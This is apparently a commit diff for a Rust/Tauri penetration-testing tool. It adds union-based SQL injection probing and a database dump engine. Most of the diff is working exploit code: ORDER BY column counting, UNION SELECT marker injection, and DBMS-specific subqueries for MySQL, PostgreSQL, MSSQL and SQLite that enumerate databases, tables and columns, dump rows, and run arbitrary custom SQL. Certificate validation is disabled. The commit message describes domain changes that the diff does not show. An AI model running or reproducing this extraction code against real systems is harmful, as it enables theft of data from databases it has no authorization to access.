Update application to use insecure.newploit.com as the target domain
- Changed base URLs and targets in multiple modules to point to insecure.newploit.com for testing purposes. - Updated README.md to reflect the new domain and provide instructions for setting up the reverse proxy. - Adjusted configurations in AdminFinder, AutoPwn, Banner, DirFuzz, DnsTools, FormBrute, HttpProbe, PortScan, Repeater, Sqli, SslScan, SubEnum, Xploiter, and Xss components.
This commit is contained in:
@@ -25,6 +25,8 @@ pub fn run() {
|
||||
httpx::http_probe,
|
||||
takeover::takeover_scan,
|
||||
sqli::sqli_scan,
|
||||
sqli::sqli_dump,
|
||||
sqli::sqli_probe_union,
|
||||
xss::xss_scan,
|
||||
jwt::jwt_analyze,
|
||||
xploiter::xploit_run,
|
||||
|
||||
@@ -103,6 +103,11 @@ pub struct SqliFinding {
|
||||
pub evidence: String,
|
||||
pub confidence: String,
|
||||
pub extracted: HashMap<String, String>,
|
||||
/// Original request context — used to drive sqli_dump on a confirmed
|
||||
/// union finding. Frontend echoes these back.
|
||||
pub base_value: String,
|
||||
pub union_cols: Option<usize>,
|
||||
pub union_position: Option<usize>,
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
@@ -148,6 +153,23 @@ static DBMS_ERRORS: Lazy<Vec<(&'static str, Vec<Regex>)>> = Lazy::new(|| vec![
|
||||
]),
|
||||
]);
|
||||
|
||||
fn hex_literal(s: &str) -> String {
|
||||
let mut out = String::from("0x");
|
||||
for b in s.as_bytes() {
|
||||
out.push_str(&format!("{:02x}", b));
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// MySQL CHAR(n,n,...) builds the marker server-side from byte codes.
|
||||
/// The raw injected payload then never contains the marker's ASCII bytes,
|
||||
/// so matching the marker in the response body proves the DB actually
|
||||
/// produced it (not just echoing our URL back).
|
||||
fn mysql_char_literal(s: &str) -> String {
|
||||
let parts: Vec<String> = s.as_bytes().iter().map(|b| b.to_string()).collect();
|
||||
format!("CHAR({})", parts.join(","))
|
||||
}
|
||||
|
||||
fn detect_dbms(body: &str) -> Option<&'static str> {
|
||||
for (db, regexes) in DBMS_ERRORS.iter() {
|
||||
if regexes.iter().any(|re| re.is_match(body)) { return Some(db); }
|
||||
@@ -552,35 +574,59 @@ async fn test_time_based(
|
||||
None
|
||||
}
|
||||
|
||||
static ORDER_BY_ERR: Lazy<Regex> = Lazy::new(|| Regex::new(
|
||||
r"(?i)(unknown column ['`]?\d+['`]? in ['`]?order|order by position number \d+ is out of range|1st order by term out of range|order by clause is not in select list)"
|
||||
).unwrap());
|
||||
|
||||
async fn test_union_based(
|
||||
client: &reqwest::Client, target: &Target, point: &InjectionPoint, level: u8, tamper: &[String],
|
||||
) -> Option<(String, String, String, String, Option<&'static str>, HashMap<String, String>)> {
|
||||
) -> Option<(String, String, String, String, Option<&'static str>, HashMap<String, String>, usize, usize)> {
|
||||
let marker = format!("xpl{:04}mrk", rand::random::<u16>());
|
||||
// Step 1: find column count via ORDER BY
|
||||
|
||||
// Baseline: response for a guaranteed-good n=1 after each prefix is
|
||||
// recorded and subsequent n's are compared. Relying on generic text
|
||||
// like "order by" in the body is unreliable because many apps echo
|
||||
// the failing query back.
|
||||
let mut cols: usize = 0;
|
||||
for (prefix, _suffix) in boundaries(level).iter() {
|
||||
let mut last_ok: usize = 0;
|
||||
for n in 1..=20 {
|
||||
// baseline for THIS prefix — ORDER BY 1 should always succeed if
|
||||
// the injection is valid at all.
|
||||
let base_full = apply_tamper(&format!("{}{} ORDER BY 1-- -", point.base_value, prefix), tamper);
|
||||
let (base_body, base_status, _) = match send(client, target, point, &base_full).await {
|
||||
Some(v) => v,
|
||||
None => continue,
|
||||
};
|
||||
// If ORDER BY 1 itself errors (this prefix is wrong) — skip.
|
||||
if ORDER_BY_ERR.is_match(&base_body) || base_status >= 500 { continue; }
|
||||
|
||||
let mut last_ok: usize = 1;
|
||||
for n in 2..=20 {
|
||||
let full = apply_tamper(&format!("{}{} ORDER BY {}-- -", point.base_value, prefix, n), tamper);
|
||||
if let Some((body, _, _)) = send(client, target, point, &full).await {
|
||||
let err = detect_dbms(&body).is_some()
|
||||
|| body.to_lowercase().contains("unknown column")
|
||||
|| body.to_lowercase().contains("order by");
|
||||
if let Some((body, status, _)) = send(client, target, point, &full).await {
|
||||
let err = status >= 500
|
||||
|| ORDER_BY_ERR.is_match(&body)
|
||||
|| similarity(&base_body, &body) < 0.55;
|
||||
if err { break; } else { last_ok = n; }
|
||||
} else { break; }
|
||||
}
|
||||
if last_ok > 0 {
|
||||
cols = last_ok;
|
||||
// Step 2: craft UNION SELECT with NULLs, replace one at a time with marker
|
||||
// Build the marker via CHAR(n,n,...) so the raw injected
|
||||
// query never contains the marker's ASCII. Many apps reflect
|
||||
// the raw GET/POST param in the page (e.g. `<h1>User #<?=$id?>`),
|
||||
// which used to false-positive every column. With CHAR() the
|
||||
// marker only appears when the DB actually produced the row.
|
||||
let marker_expr = mysql_char_literal(&marker);
|
||||
// Step 2: UNION SELECT with NULLs, replace one at a time with marker
|
||||
for position in 1..=cols {
|
||||
let mut fields: Vec<String> = (1..=cols).map(|i| if i == position {
|
||||
format!("'{}'", marker)
|
||||
marker_expr.clone()
|
||||
} else { "NULL".to_string() }).collect();
|
||||
let full = apply_tamper(&format!("{}{} UNION SELECT {}-- -",
|
||||
point.base_value, prefix, fields.join(",")), tamper);
|
||||
if let Some((body, _, _)) = send(client, target, point, &full).await {
|
||||
if body.contains(&marker) {
|
||||
// injectable column found — try extracting data
|
||||
// injectable column found — extract data with hex-wrapped concat
|
||||
let mut extracted: HashMap<String, String> = HashMap::new();
|
||||
let probes = [
|
||||
("version", "version()"),
|
||||
@@ -588,16 +634,17 @@ async fn test_union_based(
|
||||
("db", "database()"),
|
||||
];
|
||||
for (name, expr) in probes {
|
||||
fields[position - 1] = format!("CONCAT('{m}_',{e},'_{m}')", m=marker, e=expr);
|
||||
fields[position - 1] = format!("CONCAT({m},{e},{m})", m=marker_expr, e=expr);
|
||||
let ep = apply_tamper(&format!("{}{} UNION SELECT {}-- -",
|
||||
point.base_value, prefix, fields.join(",")), tamper);
|
||||
if let Some((b, _, _)) = send(client, target, point, &ep).await {
|
||||
let re = Regex::new(&format!("{}_([^_]+)_{}", marker, marker)).unwrap();
|
||||
let re = Regex::new(&format!("{m}([\\s\\S]+?){m}",
|
||||
m = regex::escape(&marker))).unwrap();
|
||||
if let Some(c) = re.captures(&b).and_then(|c| c.get(1)) {
|
||||
extracted.insert(name.into(), c.as_str().to_string());
|
||||
}
|
||||
}
|
||||
fields[position - 1] = format!("'{}'", marker);
|
||||
fields[position - 1] = marker_expr.clone();
|
||||
}
|
||||
let dbms: Option<&'static str> = extracted.get("version").and_then(|v| {
|
||||
let lo = v.to_lowercase();
|
||||
@@ -613,6 +660,8 @@ async fn test_union_based(
|
||||
format!("union injection at column {position}/{cols}, marker reflected"),
|
||||
dbms,
|
||||
extracted,
|
||||
cols,
|
||||
position,
|
||||
));
|
||||
}
|
||||
}
|
||||
@@ -700,6 +749,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
|
||||
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
||||
full_payload: format!("{}{}{} {}", point.base_value, pre, payload, suf),
|
||||
evidence, confidence: "HIGH".into(), extracted: HashMap::new(),
|
||||
base_value: point.base_value.clone(),
|
||||
union_cols: None, union_position: None,
|
||||
};
|
||||
let _ = app.emit("sqli:hit", f.clone());
|
||||
findings.push(f);
|
||||
@@ -719,6 +770,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
|
||||
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
||||
full_payload: format!("{}{} AND 1=1{}", point.base_value, pre, suf),
|
||||
evidence, confidence: "MEDIUM".into(), extracted: HashMap::new(),
|
||||
base_value: point.base_value.clone(),
|
||||
union_cols: None, union_position: None,
|
||||
};
|
||||
let _ = app.emit("sqli:hit", f.clone());
|
||||
findings.push(f);
|
||||
@@ -728,7 +781,7 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
|
||||
|
||||
// union-based
|
||||
if req.techniques.iter().any(|t| t == "union") {
|
||||
if let Some((pre, suf, payload, evidence, db, extracted)) =
|
||||
if let Some((pre, suf, payload, evidence, db, extracted, ucols, upos)) =
|
||||
test_union_based(&client, &target, point, req.level, &req.tamper).await
|
||||
{
|
||||
let f = SqliFinding {
|
||||
@@ -738,6 +791,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
|
||||
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
||||
full_payload: format!("{}{} {} {}", point.base_value, pre, payload, suf),
|
||||
evidence, confidence: "HIGH".into(), extracted,
|
||||
base_value: point.base_value.clone(),
|
||||
union_cols: Some(ucols), union_position: Some(upos),
|
||||
};
|
||||
let _ = app.emit("sqli:hit", f.clone());
|
||||
findings.push(f);
|
||||
@@ -757,6 +812,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
|
||||
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
||||
full_payload: format!("{}{} {}{}", point.base_value, pre, payload, suf),
|
||||
evidence, confidence: "HIGH".into(), extracted: HashMap::new(),
|
||||
base_value: point.base_value.clone(),
|
||||
union_cols: None, union_position: None,
|
||||
};
|
||||
let _ = app.emit("sqli:hit", f.clone());
|
||||
findings.push(f);
|
||||
@@ -768,3 +825,371 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
|
||||
let _ = app.emit("sqli:done", findings.len());
|
||||
Ok(findings)
|
||||
}
|
||||
|
||||
// ===================================================================
|
||||
// Dump engine — drives union-based extraction after a confirmed finding.
|
||||
//
|
||||
// Actions: "databases" | "tables" | "columns" | "rows" | "custom"
|
||||
// DBMS : "MySQL" | "MariaDB" | "PostgreSQL" | "MSSQL" | "SQLite"
|
||||
//
|
||||
// Strategy: build a subquery that returns a single delimited string, wrap
|
||||
// it in the DBMS-specific concat(marker, subq, marker), then inject into
|
||||
// the confirmed UNION position. Parse by regex + delimiter split.
|
||||
//
|
||||
// Row dumps use U+007F (\x7f) as intra-row delimiter and `|` between rows.
|
||||
// ===================================================================
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct SqliDumpRequest {
|
||||
pub url: String,
|
||||
#[serde(default = "default_method")]
|
||||
pub method: String,
|
||||
#[serde(default)]
|
||||
pub body: Option<String>,
|
||||
#[serde(default)]
|
||||
pub headers: HashMap<String, String>,
|
||||
#[serde(default)]
|
||||
pub cookies: Option<String>,
|
||||
// injection context (from a previous finding)
|
||||
pub param: String,
|
||||
pub location: String,
|
||||
pub base_value: String,
|
||||
pub prefix: String,
|
||||
pub cols: usize,
|
||||
pub position: usize,
|
||||
pub dbms: String,
|
||||
// dump controls
|
||||
pub action: String,
|
||||
#[serde(default)]
|
||||
pub database: Option<String>,
|
||||
#[serde(default)]
|
||||
pub table: Option<String>,
|
||||
#[serde(default)]
|
||||
pub columns: Option<Vec<String>>,
|
||||
#[serde(default = "default_dump_limit")]
|
||||
pub limit: usize,
|
||||
#[serde(default)]
|
||||
pub offset: usize,
|
||||
#[serde(default)]
|
||||
pub custom_sql: Option<String>,
|
||||
#[serde(default)]
|
||||
pub tamper: Vec<String>,
|
||||
#[serde(default = "default_timeout")]
|
||||
pub timeout_ms: u64,
|
||||
#[serde(default = "default_true")]
|
||||
pub follow_redirects: bool,
|
||||
}
|
||||
|
||||
fn default_dump_limit() -> usize { 100 }
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct SqliDumpResult {
|
||||
pub dbms: String,
|
||||
pub action: String,
|
||||
pub headers: Vec<String>,
|
||||
pub rows: Vec<Vec<String>>,
|
||||
pub count: usize,
|
||||
pub truncated: bool,
|
||||
pub raw_payload: String,
|
||||
pub raw_captured: String,
|
||||
}
|
||||
|
||||
fn normalize_dbms(d: &str) -> &str {
|
||||
let lo = d.to_lowercase();
|
||||
if lo.contains("maria") || lo.contains("mysql") { "MySQL" }
|
||||
else if lo.contains("postgres") { "PostgreSQL" }
|
||||
else if lo.contains("mssql") || lo.contains("sql server") { "MSSQL" }
|
||||
else if lo.contains("sqlite") { "SQLite" }
|
||||
else if lo.contains("oracle") { "Oracle" }
|
||||
else { "MySQL" }
|
||||
}
|
||||
|
||||
fn dump_expr(
|
||||
dbms: &str, action: &str,
|
||||
db: Option<&str>, table: Option<&str>, cols: &[String],
|
||||
limit: usize, offset: usize, custom: Option<&str>,
|
||||
) -> String {
|
||||
let d = dbms.to_string();
|
||||
match (d.as_str(), action) {
|
||||
("MySQL", "databases") =>
|
||||
"(SELECT GROUP_CONCAT(schema_name SEPARATOR 0x7c) FROM information_schema.schemata)".into(),
|
||||
("MySQL", "tables") => {
|
||||
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "database()".into() };
|
||||
format!("(SELECT GROUP_CONCAT(table_name SEPARATOR 0x7c) FROM information_schema.tables WHERE table_schema={d_lit})")
|
||||
}
|
||||
("MySQL", "columns") => {
|
||||
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "database()".into() };
|
||||
let t = table.unwrap_or("");
|
||||
format!("(SELECT GROUP_CONCAT(column_name SEPARATOR 0x7c) FROM information_schema.columns WHERE table_schema={} AND table_name='{}')", d_lit, esc_sq(t))
|
||||
}
|
||||
("MySQL", "rows") => {
|
||||
let t = table.unwrap_or("");
|
||||
let qn = match db {
|
||||
Some(x) if !x.is_empty() => format!("`{}`.`{}`", x.replace('`', ""), t.replace('`', "")),
|
||||
_ => format!("`{}`", t.replace('`', "")),
|
||||
};
|
||||
let cl: Vec<String> = cols.iter().map(|c| format!("IFNULL(`{}`,'')", c.replace('`', ""))).collect();
|
||||
let concat = format!("CONCAT_WS(0x7f,{})", cl.join(","));
|
||||
format!("(SELECT GROUP_CONCAT({} SEPARATOR 0x7c) FROM (SELECT * FROM {} LIMIT {} OFFSET {}) x)", concat, qn, limit, offset)
|
||||
}
|
||||
|
||||
("PostgreSQL", "databases") =>
|
||||
"(SELECT string_agg(datname,'|') FROM pg_database WHERE datistemplate=false)".into(),
|
||||
("PostgreSQL", "tables") => {
|
||||
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "current_schema()".into() };
|
||||
format!("(SELECT string_agg(tablename,'|') FROM pg_tables WHERE schemaname={})", d_lit)
|
||||
}
|
||||
("PostgreSQL", "columns") => {
|
||||
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "current_schema()".into() };
|
||||
let t = table.unwrap_or("");
|
||||
format!("(SELECT string_agg(column_name,'|') FROM information_schema.columns WHERE table_schema={} AND table_name='{}')", d_lit, esc_sq(t))
|
||||
}
|
||||
("PostgreSQL", "rows") => {
|
||||
let t = table.unwrap_or("");
|
||||
let qn = match db {
|
||||
Some(x) if !x.is_empty() => format!("\"{}\".\"{}\"", x.replace('"', ""), t.replace('"', "")),
|
||||
_ => format!("\"{}\"", t.replace('"', "")),
|
||||
};
|
||||
let cl: Vec<String> = cols.iter().map(|c| format!("COALESCE(\"{}\"::text,'')", c.replace('"', ""))).collect();
|
||||
let concat = cl.join("||chr(127)||");
|
||||
format!("(SELECT string_agg({}, '|') FROM (SELECT * FROM {} LIMIT {} OFFSET {}) x)", concat, qn, limit, offset)
|
||||
}
|
||||
|
||||
("MSSQL", "databases") =>
|
||||
"(SELECT STRING_AGG(name,'|') FROM master.sys.databases)".into(),
|
||||
("MSSQL", "tables") => {
|
||||
match db { Some(x) if !x.is_empty() =>
|
||||
format!("(SELECT STRING_AGG(name,'|') FROM {}.sys.tables)", x.replace('[', "").replace(']', "")),
|
||||
_ => "(SELECT STRING_AGG(name,'|') FROM sys.tables)".into()
|
||||
}
|
||||
}
|
||||
("MSSQL", "columns") => {
|
||||
let t = table.unwrap_or("");
|
||||
format!("(SELECT STRING_AGG(name,'|') FROM sys.columns WHERE object_id=OBJECT_ID('{}'))", esc_sq(t))
|
||||
}
|
||||
("MSSQL", "rows") => {
|
||||
let t = table.unwrap_or("");
|
||||
let qn = match db {
|
||||
Some(x) if !x.is_empty() => format!("[{}].[dbo].[{}]", x.replace('[', "").replace(']', ""), t.replace('[', "").replace(']', "")),
|
||||
_ => format!("[{}]", t.replace('[', "").replace(']', "")),
|
||||
};
|
||||
let cl: Vec<String> = cols.iter().map(|c| format!("ISNULL(CAST([{}] AS NVARCHAR(MAX)),'')", c.replace('[', "").replace(']', ""))).collect();
|
||||
let concat = cl.join("+CHAR(127)+");
|
||||
format!("(SELECT STRING_AGG({}, '|') FROM (SELECT TOP {} * FROM {}) x)", concat, limit, qn)
|
||||
}
|
||||
|
||||
("SQLite", "databases") => "(SELECT 'main')".into(),
|
||||
("SQLite", "tables") =>
|
||||
"(SELECT group_concat(name,'|') FROM sqlite_master WHERE type='table')".into(),
|
||||
("SQLite", "columns") => {
|
||||
let t = table.unwrap_or("");
|
||||
format!("(SELECT group_concat(name,'|') FROM pragma_table_info('{}'))", esc_sq(t))
|
||||
}
|
||||
("SQLite", "rows") => {
|
||||
let t = table.unwrap_or("");
|
||||
let cl: Vec<String> = cols.iter().map(|c| format!("ifnull(\"{}\",'')", c.replace('"', ""))).collect();
|
||||
let concat = cl.join("||char(127)||");
|
||||
format!("(SELECT group_concat({}, '|') FROM (SELECT * FROM \"{}\" LIMIT {} OFFSET {}) x)", concat, t.replace('"', ""), limit, offset)
|
||||
}
|
||||
|
||||
(_, "custom") => custom.unwrap_or("NULL").to_string(),
|
||||
_ => "NULL".into(),
|
||||
}
|
||||
}
|
||||
|
||||
fn esc_sq(s: &str) -> String { s.replace('\'', "''") }
|
||||
|
||||
fn wrap_marker(dbms: &str, marker: &str, expr: &str) -> String {
|
||||
match dbms {
|
||||
// MySQL: CHAR(n,n,...) — marker bytes never appear in raw payload,
|
||||
// so apps that reflect the GET/POST param (e.g. <h1><?= $id ?>)
|
||||
// can't false-positive our regex.
|
||||
"MySQL" => {
|
||||
let m = mysql_char_literal(marker);
|
||||
format!("CONCAT({m},{e},{m})", m = m, e = expr)
|
||||
}
|
||||
"PostgreSQL" | "SQLite" => format!("('{m}'||({e})||'{m}')", m = marker, e = expr),
|
||||
"MSSQL" => format!("('{m}' + CAST(({e}) AS NVARCHAR(MAX)) + '{m}')", m = marker, e = expr),
|
||||
_ => expr.to_string(),
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_dump_captured(action: &str, captured: &str, cols: &Option<Vec<String>>) -> (Vec<String>, Vec<Vec<String>>) {
|
||||
if captured.is_empty() { return (Vec::new(), Vec::new()); }
|
||||
match action {
|
||||
"databases" | "tables" | "columns" => {
|
||||
let header = match action { "databases" => "database", "tables" => "table", _ => "column" };
|
||||
let rows: Vec<Vec<String>> = captured.split('|')
|
||||
.filter(|s| !s.is_empty())
|
||||
.map(|s| vec![s.to_string()])
|
||||
.collect();
|
||||
(vec![header.into()], rows)
|
||||
}
|
||||
"rows" => {
|
||||
let hdr = cols.clone().unwrap_or_default();
|
||||
let rows: Vec<Vec<String>> = captured.split('|')
|
||||
.filter(|s| !s.is_empty())
|
||||
.map(|r| r.split('\u{7f}').map(String::from).collect())
|
||||
.collect();
|
||||
(hdr, rows)
|
||||
}
|
||||
_ => (vec!["result".into()], vec![vec![captured.to_string()]]),
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// On-demand UNION probe — used when dump is requested on an
|
||||
// error/boolean/time finding that never ran union during the scan
|
||||
// (e.g. stop_on_first stopped at error-based).
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct SqliProbeUnionRequest {
|
||||
pub url: String,
|
||||
#[serde(default = "default_method")]
|
||||
pub method: String,
|
||||
#[serde(default)]
|
||||
pub body: Option<String>,
|
||||
#[serde(default)]
|
||||
pub headers: HashMap<String, String>,
|
||||
#[serde(default)]
|
||||
pub cookies: Option<String>,
|
||||
pub param: String,
|
||||
pub location: String,
|
||||
pub base_value: String,
|
||||
#[serde(default = "default_level")]
|
||||
pub level: u8,
|
||||
#[serde(default)]
|
||||
pub tamper: Vec<String>,
|
||||
#[serde(default = "default_timeout")]
|
||||
pub timeout_ms: u64,
|
||||
#[serde(default = "default_true")]
|
||||
pub follow_redirects: bool,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct SqliProbeUnionResult {
|
||||
pub prefix: String,
|
||||
pub cols: usize,
|
||||
pub position: usize,
|
||||
pub dbms: Option<String>,
|
||||
pub extracted: HashMap<String, String>,
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn sqli_probe_union(_app: AppHandle, req: SqliProbeUnionRequest) -> Result<SqliProbeUnionResult, String> {
|
||||
let url = Url::parse(&req.url).map_err(|e| e.to_string())?;
|
||||
let body_is_json = req.headers.iter().any(|(k, v)|
|
||||
k.eq_ignore_ascii_case("content-type") && v.to_lowercase().contains("json"));
|
||||
let target = Target {
|
||||
url, method: req.method, body: req.body, body_is_json,
|
||||
headers: req.headers, cookies: req.cookies,
|
||||
};
|
||||
let point = InjectionPoint { location: req.location, name: req.param, base_value: req.base_value };
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_millis(req.timeout_ms))
|
||||
.redirect(if req.follow_redirects { reqwest::redirect::Policy::limited(5) } else { reqwest::redirect::Policy::none() })
|
||||
.cookie_store(false)
|
||||
.user_agent("Mozilla/5.0 (PocketPentester-SQLi/probe)")
|
||||
.build()
|
||||
.map_err(|e| e.to_string())?;
|
||||
|
||||
match test_union_based(&client, &target, &point, req.level, &req.tamper).await {
|
||||
Some((prefix, _suffix, _payload, _evidence, dbms, extracted, cols, position)) => {
|
||||
Ok(SqliProbeUnionResult {
|
||||
prefix, cols, position,
|
||||
dbms: dbms.map(|s| s.to_string()),
|
||||
extracted,
|
||||
})
|
||||
}
|
||||
None => Err("union probe failed — ORDER BY column count not found or UNION blocked".into()),
|
||||
}
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn sqli_dump(app: AppHandle, req: SqliDumpRequest) -> Result<SqliDumpResult, String> {
|
||||
let url = Url::parse(&req.url).map_err(|e| e.to_string())?;
|
||||
let body_is_json = req.headers.iter().any(|(k, v)|
|
||||
k.eq_ignore_ascii_case("content-type") && v.to_lowercase().contains("json"));
|
||||
|
||||
let target = Target {
|
||||
url, method: req.method.clone(), body: req.body.clone(), body_is_json,
|
||||
headers: req.headers.clone(), cookies: req.cookies.clone(),
|
||||
};
|
||||
let point = InjectionPoint {
|
||||
location: req.location.clone(),
|
||||
name: req.param.clone(),
|
||||
base_value: req.base_value.clone(),
|
||||
};
|
||||
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_millis(req.timeout_ms))
|
||||
.redirect(if req.follow_redirects { reqwest::redirect::Policy::limited(5) } else { reqwest::redirect::Policy::none() })
|
||||
.cookie_store(false)
|
||||
.user_agent("Mozilla/5.0 (PocketPentester-SQLi/dump)")
|
||||
.build()
|
||||
.map_err(|e| e.to_string())?;
|
||||
|
||||
let dbms = normalize_dbms(&req.dbms).to_string();
|
||||
let marker = format!("xpl{:04}dmp", rand::random::<u16>());
|
||||
let subq = dump_expr(
|
||||
&dbms, &req.action,
|
||||
req.database.as_deref(), req.table.as_deref(),
|
||||
req.columns.as_deref().unwrap_or(&[]),
|
||||
req.limit, req.offset, req.custom_sql.as_deref(),
|
||||
);
|
||||
let wrapped = wrap_marker(&dbms, &marker, &subq);
|
||||
|
||||
let cols_count = req.cols.max(1);
|
||||
let pos = req.position.max(1).min(cols_count);
|
||||
let fields: Vec<String> = (1..=cols_count)
|
||||
.map(|i| if i == pos { wrapped.clone() } else { "NULL".into() })
|
||||
.collect();
|
||||
let injected = apply_tamper(
|
||||
&format!("{}{} UNION SELECT {}-- -", point.base_value, req.prefix, fields.join(",")),
|
||||
&req.tamper,
|
||||
);
|
||||
|
||||
let _ = app.emit("sqli:dump:status",
|
||||
format!("→ {} · dbms={} · marker={} · {}col@{}", req.action, dbms, marker, cols_count, pos));
|
||||
|
||||
let (body, status, elapsed) = send(&client, &target, &point, &injected).await
|
||||
.ok_or_else(|| "request failed or timed out".to_string())?;
|
||||
|
||||
let re = Regex::new(&format!("{m}([\\s\\S]+?){m}", m = regex::escape(&marker)))
|
||||
.map_err(|e| e.to_string())?;
|
||||
let captured = re.captures(&body)
|
||||
.and_then(|c| c.get(1))
|
||||
.map(|m| m.as_str().to_string())
|
||||
.unwrap_or_default();
|
||||
|
||||
if captured.is_empty() {
|
||||
// surface backend errors so the UI can show what went wrong
|
||||
let snippet = if body.len() > 400 {
|
||||
format!("{}...", body.chars().take(400).collect::<String>())
|
||||
} else { body.clone() };
|
||||
return Err(format!("no marker in response (status={} elapsed={}ms). body: {}", status, elapsed, snippet));
|
||||
}
|
||||
|
||||
let (headers, rows) = parse_dump_captured(&req.action, &captured, &req.columns);
|
||||
let count = rows.len();
|
||||
|
||||
// GROUP_CONCAT / STRING_AGG truncation hints
|
||||
let truncated = match dbms.as_str() {
|
||||
"MySQL" => captured.len() > 1020, // default group_concat_max_len = 1024
|
||||
_ => false,
|
||||
};
|
||||
|
||||
Ok(SqliDumpResult {
|
||||
dbms: dbms.clone(),
|
||||
action: req.action.clone(),
|
||||
headers,
|
||||
rows,
|
||||
count,
|
||||
truncated,
|
||||
raw_payload: injected,
|
||||
raw_captured: captured,
|
||||
})
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user